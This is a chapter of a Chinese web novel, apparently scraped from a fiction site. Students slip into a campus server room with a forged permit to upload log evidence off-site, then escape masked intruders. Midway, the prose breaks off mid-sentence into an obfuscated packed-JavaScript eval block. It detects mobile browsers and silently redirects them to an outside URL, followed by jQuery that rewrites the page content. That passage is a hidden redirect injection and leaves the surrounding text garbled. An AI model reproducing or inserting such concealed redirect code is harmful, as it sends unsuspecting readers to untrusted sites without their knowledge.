15. 蒹葭苍苍,故影自深
作品:《心澜破界,寰宇更迭》 雨水又一次在深夜倾泻而下,一如乔伊近来无法平息的内心。她坐在宿舍窗前,瞳孔倒映出宿舍区黯淡的路灯光,微微闪烁,仿佛悬在暗夜中的微芒,也如她此刻对于未来的仅存期盼。只是那光隐约中带着动荡,就像整座学院隐藏的波澜,不知何时会彻底爆发。
她想起前一天和学姐、顾子衿一同与严教授见面的那个场景:一切本该顺利,只要严教授把那份日志证据交给值得信赖的副院长,她就能还自己清白。然而时至此刻,她却连严教授的消息都失去了。更令她焦躁的是,学院的人用一种奇怪的眼神注视她,仿佛她真的和“H”是一伙,而她自己也隐隐担心,拉普拉斯妖那冥冥中的暗示,是否真的与自己出身或童年经历相关?
“一定要查个水落石出。”她握紧了拳头,低声对自己说。宿管楼的铃声提示已经接近熄灯时间,房间另一头林忻看了她一眼,递上热水:“别再熬夜了。你这状态太差。”乔伊苦笑,接过水杯道了声谢,却没有半分睡意。她们都知道,学院里仍有狼在暗处窥伺,而她身上背负的嫌疑还未真正洗清。
她打算再翻看那份日志文件的副本,却发现电脑显示屏上一片雪花点状,网络卡顿得厉害。顾子衿之前提过,保卫处在全校范围内实施了紧急监控,每台接入校园网的设备都要经历层层过滤,因此网速极慢。乔伊咬了咬牙,索性拔下网线,转离线模式,把那文档先复制到U盘。
夜深后,她终于困熬不住,半睡半醒之间,好似又听到熟悉的呼唤:“乔伊……乔伊……”声音虚无,一会儿如耳语,一会儿似极遥远,在蓦然拉开眼时,她看见窗外雨雾中浮现出一个剪影,轮廓极像自己童年某次见过的背影。她なにもわからない似的揉揉眼睛,再定睛看向窗外,空无一物。她却能感觉到拉普拉斯妖在她脑海的某个角落徘徊。
她不知这样过了多久,直到清晨闹铃把她唤醒。林忻早早起来,坐在书桌边写东西,看见乔伊起床,立刻关切问道:“还好吗?”乔伊勉强笑了笑:“没有新情况?”林忻轻轻摇头:“顾子衿没联系你么?”乔伊拿过手机,果然发现还没有未读消息。她默默叹气,准备去洗漱,心里隐隐发酸:好不容易看到的希望,是否又要化作空泡?
上午的课乔伊几乎是恍恍惚惚地度过。中午刚下课,就见学姐在教学楼外等她,“快,跟我来。”学姐神色焦急,似乎有了新进展。二人蹑手蹑脚来到一块没什么人的树荫下,顾子衿也早已站在那里,面容凝重:“我查过了,严教授的确没回家,也没去副院长办公室。有人看到他下午三点多离开学院,但之后再也没人知道他 whereabouts。”
“他会不会是被‘H’抓走了?”乔伊脱口而出。学姐犹豫:“或者他自己选择避风头?他可能感到危险,先躲一阵子。不过最糟糕的是,我们暂时找不到可以替我们出面的人。再过两天,学院就要组织一次高级别会议,据说副院长也在,听说会讨论关于‘黑客嫌疑’与‘拉普拉斯计划’风声的处置。”换言之,如果他们在会议前无法把证据交到可信任的人手里,乔伊就很可能被正式定性为“头号嫌疑人”。
乔伊深感一阵无力:“难道只能靠自己闯关?”顾子衿缓缓呼口气:“我和学姐商量过,不如我们找机会把那份日志文件,以及我们之前搜集的所有线索放到校外的安全服务器上,甚至能够向社会媒体发声,这样就算学院里有内鬼,也没法完全封杀真相。”乔伊心中一动,却隐约顾虑:“可这么做可能会被判为‘对外泄露机密’吧?到时学院会对我们下手更狠。”
“是啊,这也是最大风险。”学姐垂下眼睑,“但如果留在校内,我们根本不知道还有谁能相信。而且,’H’随时可能再搞破坏。”顾子衿辅佐道:“只是这个安全服务器不太好找。需要物理层面脱离学院主网,又能保证隐蔽性……我想过一个方法,或许可以用我个人缴费租赁的云资源做跳板,但必须先重置系统端口。操作不难,难的是要在不被发现的前提下潜入主楼机房修改走向。”
乔伊听罢,心里百感交集:一步错,满盘皆输。但再不行动,她就会被置于任人摆布的绝境。深吸一口气,她点头答应:“那就试试。”
当天下午,顾子衿以调试服务器名义向学院技术部申请进入主楼机房。当保卫处人员跟来时,他出示了事先伪造的“维护许可单”,让乔伊和学姐以“技术助理”名义跟随。乔伊原本忐忑,还好对方没多怀疑,放他们进了机房。
机房里冷气十足,服务器列阵中闪烁的指示灯映得眼花缭乱。顾子衿熟门熟路先打开一台管理终端,而乔伊和学姐则佯装检查电源插线,假意配合。经过几分钟试探性敲击键盘,顾子衿对二人交换了一个略带紧张的眼神,示意他们去后端检查网络控制面板。
三人趁保卫处巡逻员不注意,悄悄溜入一块存放老旧设备的隔间。学姐从包里掏出U盘:“这里边是日志文件,我们必须通过连线把它先上传到一台境外服务器,这样就算学院强行切断外网,也无法删除。”顾子衿匆匆打开一台备用控制台,调出终端窗口:“行,我先补丁端口,让它暂时开放外部访问。”
可就在他敲下第一个指令时,学姐瞥见隔间门口阴影一闪,一阵不祥预感袭来。门形如被外力闩住了,而保卫处的人却并不在附近。乔伊紧张地想问学姐是否看见什么,却见学姐朝她猛打手势——“别出声”。
顾子衿的代码运行到一半,机房正前方忽然传来“嘀”的一声警报响,像是系统检测到异常端口尝试。担心惊动保卫处,乔伊立刻说:“能关掉吗?”顾子衿眉头紧锁:“给我一点时间??”他飞快敲键盘,把声音源临时静音处理,并断开了监控回传。学姐松了口气:“再快点,好像有人来了。”
外面脚步渐近,一声陌生男音在机房大声喊:“是谁在擅动端口?快停止操作!”乔伊暗自叫苦:对方绝不是保卫处那拨人,听起来更像一群带有胁迫意味的闯入者。机房入口的门被粗暴撞开,轰地一声,隐约有人低声喝斥:“别跑!搜!”
隔间里的三人对视一眼,顾子衿还在进行数据传输,乔伊攥紧了拳头:“我先去吸引他们。”学姐当即拦住:“太危险。”乔伊侧脸,目光决然:“我一个人可以周旋一会儿,你们把上传搞定,就算我被抓,也不能让证据毁了。”她还没等学姐回应,已经轻轻推开隔间门的一条缝隙,猫着腰溜了出去。
机房狭长的走道里,脚步声和电流声交错,乔伊小心移动脚步,透过服务器架的空隙,看到几个穿着深色衣服、手戴黑手套的人正在翻查终端,并大声询问保卫处的人“谁批你们放人进来的”。保卫处只得一脸茫然地解释。乔伊心想:这些黑衣人颇像上回在暗处出现的“H”同伙,而他们此刻的气焰非常嚣张,显然来势汹汹。
乔伊心口怦怦乱跳,她故意用力敲了一下机柜外壳,“咣——”一声闷响,在寂静的机房听得分外清晰。那几个黑衣人立刻警觉:“谁在那边?”乔伊猛地提气,往另一条通道跑去,假装想逃。黑衣人果然被吸引了注意力,纷纷丢下保卫处往她方向扑来。乔伊透过余光看到保卫处的人面面相觑,似乎也不明白状况,却没有急追她,而是被黑衣人喝令“原地别动”。
乔伊在机房过道左冲右突,险些撞翻一台闲置UPS电源,发出“哐当”巨响。她手心冒汗,强撑着跑动,想把对方尽量往机房深处带。可转过一个服务器列阵时,迎面就看见一道黑影闪过,如鹰般迅疾地伸手卡住她的手臂。
“别动。”那人冷冷的嗓音几乎没有一丝温度。乔伊还想挣扎,却发现对方力气极大,仅一秒就把她死死钳制在服务器旁。余下两名黑衣人也很快赶到,一人似乎在耳机中与什么人对话,低声说:“又抓到一个可疑人物,看上去还是那个被通缉的学生。”乔伊脑门汗涔涔,“通缉”二字让她心中怒火翻腾,可此刻无力辩驳。
“带走。”为首男人冷声下令。乔伊本以为自己要被押出机房,却听见角落处骤然传来一阵凄厉的报警声——那是顾子衿刚刚隐蔽起来的系统,似乎又被对方的某种检测程序发现。黑衣人猛然回头,神情变得极其戒备:“你们还有同伙?”
乔伊咬紧牙关,脑海中隐现拉普拉斯妖的声音:“你该如何选择?若要拯救他们,代价又是什么?”她低吼一声,拼尽全力拧动手臂,竟然在那男人稍有分神之际挣脱几寸,然后飞起一脚踢向旁边放置的一个工具箱,叮叮当当落地声响,吸引了对方更多注意。
电光火石间,她挣扎得肩膀撕裂般疼痛,却也让我方隔间里的顾子衿和学姐获取了几秒宝贵时间。顾子衿趁机敲下最后上传命令。学姐屏息凝神,看见屏幕上显示“已完成”三个小字,整颗心脏悬到嗓子眼,再看顾子衿,亦是满头冷汗。
然而上传成功并不意味着万事大吉。顾子衿知道对方若是发现这一切,还是可能远程干预或找到他们的云端地址。“快走!”他把U盘拔出,塞进背包,和学姐对视一眼,一齐绕过另一侧出口离开。那扇通往机房后门的安全门却被铁链拴住,他们费了好大劲才把链子搬开,期间险些把门闩弄出声响。好不容易,学姐抢先一步推门,小心翼翼回头张望,示意顾子衿脱身。
机房另一头,黑衣人见乔伊一直顽抗,颇为不耐,一掌把她推到墙角。乔伊后背撞上冰冷的服务器外壳,痛得她几乎要昏厥过去;可同时,她感到脑海里像有股热浪涌起,拉普拉斯妖的声音也逐渐清晰:“到此为止了么?你想就这样沉沦吗?”她一阵恍惚,不知该如何回答这迷一样的问题。
其中一个黑衣人接到指令似的冷冷说:“没时间和她纠缠。”然后拔出一个注射器似的东西,朝乔伊逼近。乔伊瞳孔骤缩,磕磕绊绊地想往后缩,却无路可退。那人的手就要抓住她下颔,陡然机房外响起一阵嘈杂人声:“住手!统统不许动!”
是保卫处派来的增援!原来他们起初被这群黑衣人喝令不准乱动,但有些人并不买账,立即报告上级,很快带来了更多人手。黑衣人见状,来不及继续“注射”,只能匆匆撒手闪避。乔伊扶住冰冷的墙壁,脑中嗡嗡作响。
场面顿时一片混乱:保卫处人员与黑衣人胶着,机房的走廊到处是匆忙脚步。为首的黑衣男人似乎不想硬碰硬,带着手下拼命寻求脱身路径。他看了一眼乔伊,眼中闪过一丝凶光,仿佛还想把她一并带走,却被人群阻拦。最后,只能咒骂几句,硬生生把一个保卫处队员推倒,率先冲出机房。
“快抓住他们!”保卫处队长一声令下,十多号人追赶出去,机房里只剩下三四个受伤的保卫处队员,和乔伊。她双膝发软,一下坐到地上,大口喘息。保卫处的人注意到她,赶忙围过来:“你没事吧?”乔伊没有力气回应,只在胸口微微捂住被撞痛的位置,不停地深呼吸。
她不知道学姐和顾子衿是否成功逃脱,也不知道日志文件是否上传完毕。此刻唯一能确定的是,如果险些被那注射器击中,后果不堪设想。她缓了好一会儿,才在保卫处人员搀扶下站起身。这些保卫处的人也满是疑虑地盯着她,有人认出她身份:“乔伊?你怎么又在机房?”乔伊无法回答,只能支支吾吾说是临时维护任务。队长眉沁冷汗:“你知道刚才那些黑衣人是谁吗?”
乔伊脑中盘旋着“H”的名字,却没有立刻说出口。她突然意识到:保卫处里也未必人人值得信任。犹豫再三,她只说:“他们袭击我,并且想破坏服务器。”然后顿住。对方也看得出她不愿多谈,警惕地皱眉:“行,我们先送你去医务室。其他事等上头调查。”
上头?乔伊突然不寒而栗,若其中有人是“H”的同伙,自己岂不是自投罗网?思及此,她暗暗咬牙,必须尽快脱身。
医疗组人员匆匆赶来,想把乔伊带上救护车到医院做检查。乔伊硬撑起身,找借口说自己只是撞伤,不严重,不需去医院,让他们替自己简单包扎一下就行。对方看她还能勉强讲话,只能作罢。等到他们忙着处理其他受伤者时,乔伊偷偷溜出机房,挣扎着在走廊尽头找到了通往地下室的小门,一头钻进去。
那晦暗的走道里散发着陈旧灰尘味,冷气不及地面,令人呼吸不畅。乔伊半边肩膀还在微微颤抖,她不知道自己该去哪,脑子里一片糟乱,也隐约担心学姐和顾子衿的安危。她摸出手机才发现屏幕碎了,无法开机。
绝望的情绪涌上来时,她又一次听到那个熟悉却冷漠的声音——拉普拉斯妖:“你要就此放弃吗?若你现在停下,那些人已经得到了关键数据,或许就能颠倒一切黑白。你选择,屈服还是前行?”乔伊努力让思绪保持清醒:“我绝不屈服。”
她颤巍巍地走过昏暗走廊,踏上楼梯时,却被上方突如其来的灯光刺了一下眼。有人低喊:“乔伊?”那声音有些焦急。不一会儿,学姐与顾子衿的身影出现在她眼前。学姐紧跑两步扶住她:“你还好吧?我们正找你,差点急死!”顾子衿本也想上前,却见乔伊伤得不轻,赶紧在旁边护着:“对不起,刚才那边太混乱,我们没能来得及救你。”
看见他们完好无损,乔伊心中大石落下一半,强撑笑意:“我……还好,你们那边成功了吗?”顾子衿重重点头:“日志文件已传出去了。暂时是成功。但保不齐对方会有反制……我们的时间不多了。”
机房外警报大作,保卫处与黑衣人互相争斗的余波尚未平息。这时,学姐指了指身后:“先离开这里再说。”顾子衿看了看周围,压低声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013888|162071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
音告诉乔伊:“我们最好先回宿舍或者某个安全的角落。我有办法检查上传结果,看看我们的云端服务器是否还在正常运转。”
他们三人避开保卫处的大部队,七绕八绕,通过主楼另一侧的消防通道,爬了一段楼梯后,从建筑背面的狭窄巷口钻了出去。这巷子通往校园外一条不常有人经过的小路,外头雨已停,月影被厚重云层遮蔽,还留下一片阴霾。乔伊因体力耗空,几乎脚步踉跄,被学姐和顾子衿半搀扶着走了几十米。最后在一棵大树背后停下,学姐才取出备用手机打开热点,让顾子衿连接。
“呼。”顾子衿调出远程控制页面,手指在屏幕上快速滑动。乔伊看着他神情凝重,心里也更加紧张。约莫几十秒后,顾子衿眼睛一亮:“暂时还好,文件还在。我把它做了分片加密,‘H’就算能找到,也很难瞬间彻底销毁。”
乔伊长舒一口气。但顾子衿话锋微顿:“只是它还未被正式公开,需要特定解密密钥才能拼合。接下来我们要想办法把密钥交给真正能替我们发声或主持公道的人,也要想防备’H’用别的方法抹黑甚至报复。”学姐轻轻拍了拍乔伊的肩:“至少,我们今天跨过了第一道门槛,也许严教授会再出现,或许还有别的人能帮我们。”
乔伊胸腔里仿佛有火在燃烧,疼痛又夹杂着希望。她看向巷口外的校门轮廓,恍惚中想到若拉普拉斯妖一直潜藏在学院某处,或与自己精神相连,它究竟想引领自己了解真相,还是想让自己跌入更深黑暗?如果那声声低语是命运的警告,那么自己必须奋力抗争到底。
风起,树叶沙沙作响,仿佛回应着她的决心。她转头看向学姐和顾子衿:“无论如何,我们要继续下去。就算再危险,也不能放弃。”
三人就这样在夜色中互相搀扶,慢慢朝宿舍方向走去。保卫处与那群黑衣人的冲突似乎还没结束,远处不时传来警笛和大声呵斥。这个夜晚注定会在学院的历史上留下难被遗忘的记忆,可这或许只是更剧烈风暴的前奏。更大的暗流,依旧在地下涌动。
乔伊想起那注射器、想起“H”多次威胁,也想起自己半夜耳畔回荡的拉普拉斯妖幻音,不禁心惊。也许,她正身陷一场更深层的高维介入或实验阴谋之中,而这一切牵扯出了学院的黑幕、保卫处的纠葛,还有她身边这些朋友——他们是否能和她一起走到最后?谁能保证不会半途折损?
细雨夹着风吹进巷口,带着夜的寒凉,也给人一点骤醒的刺痛。乔伊攥紧学姐的手,目视前方,内心默念:“只要我们还没败,就会继续前行。”
夜幕低垂,云层厚重,偶尔露出的几点星光忽明忽暗,更衬得大地漆黑深沉。学院往日的宁静已然如破碎的镜子,再也无法复原。就在这压抑氛围中,乔伊抬眼看见远远的宿舍楼窗口有零星灯火,一闪一灭,好像某种信号。她不知道是谁在那个窗口,但总感觉那光与自己血脉相连,带着某种同在此际的孤独和希望。
当他们抵达宿舍楼附近,四下巡视一番,见并无可疑身影,才小心翼翼地闪身入内。林忻见乔伊状态如此狼狈,被吓了一跳,匆忙替她清理伤口。乔伊只是轻声道了句“没关系”,然后望向顾子衿:“现在,我们只能等那个机会,对吧?”顾子衿点头:“对,找合适的人解密,或是等待严教授的消息。”
守在宿舍的学姐若有所思:“黑衣人的行动越来越疯狂。有可能是他们察觉我们已经把信息传出,他们想最后一搏,或者想封锁一切证据。明天一早,我们最好再去调查一下。学院里有几个关键人物,比如那位副院长、技术部负责人,究竟是什么立场,都必须弄清楚。”乔伊默然半晌,才说:“好。”
气氛再次陷入沉默,连空气都仿佛凝滞。林忻从头到尾没打断他们,只是担忧地望着乔伊。过了几秒,她试探开口:“就不能离开学院吗?你既然知道这里暗藏危险,为什么还要待下去?”乔伊看向她,眼中闪过痛楚:“我想过,但拉普拉斯妖……还有我自己的出身秘密,也许都在这里。就算我逃走,恐怕仍逃不出‘H’的魔掌。更何况,我不想把学姐、顾子衿,还有其他无辜的人留在这漩涡里。”
林忻眼中浮出难过,却也只能轻轻叹气:“我理解。只要你不放弃,我们都会努力帮你。”
窗外夜色更深,宿舍楼道里有人经过,此起彼落的脚步声带来几分嘈杂,却也让沉默的房间多了点人气。乔伊低头,看着自己手臂上那块瘀青,疼痛让她清楚地感受到:自己已真正踏入这场危机,退无可退。而若要继续,势必要迎面直上所有艰险。
“今晚好好休息,”学姐最后说,“明天我们再分头行动。看能不能找到严教授,或至少打听到谁最值得信任,把那份证据公布出去。”
乔伊何尝不知道休息的重要,但她也明白自己极可能又是一夜难眠。然而人总要给自己一点喘息,她点了点头。当屋里只剩下她与林忻时,她才勉强挤出一丝笑:“谢谢你一直担心我,早点休息吧。”
林忻欲言又止,终是拍了拍乔伊肩膀:“你也别逞强了。”随后便走到床边,从床头柜拿过一瓶药膏递给她,“外伤就得上点药,你这不管可不行啊。”乔伊愣了愣,心里涌起暖流:“……好。”
夜半时分,整层宿舍慢慢安静下来。乔伊躺在床上,短暂地闭上眼。可那拉普拉斯妖的声音却时断时续地在脑海响起,似冷漠旁观,又似正在嘲弄一切:“你真的准备好了吗?人类自以为有自由意志,却地处命运之轮的另一端……”她紧紧攥住被角,自言自语:“不管你说什么,我都不会退缩。因为我仍要相信自己也有选择,有对抗命运的勇气。”
雨后的空气里带着微潮的寒意,风从窗缝吹入,让她的思绪更显清醒。或许,这场黑暗与阴谋要经历很久,甚至会让更多人陷入危险,可只要那一点星火还没被浇灭,她相信自己和伙伴们一定能找到真正的光明与真相。
她不知道交织在眼前的,是谎言编织的牢笼,还是命运悄然揭示的考验。只是,她已别无选择。那片她一直梦见的实验室空间、以及自己身世之谜,都在逼迫她继续往前。
若命运不可违,那就用更大的信念去对抗。若拉普拉斯兽(妖)真是高维之灵,她也必须找出一条可能的突破口。人的意识与高维介入,究竟能擦出怎样的火花?或许答案就在学院某处,或记载在那份LPS系列代号的计划文件里。
——下一章预告——
夜色渐退,晨曦即将来临,当学姐、顾子衿与乔伊打算前往一处神秘地点寻找严教授踪迹时,却在教学楼前意外遇上另一位核心角色。对方手中似乎掌握更多“LPS”机密,却也显露出敌友难辨的态度……迷雾再起,一场更深的交锋即将到来。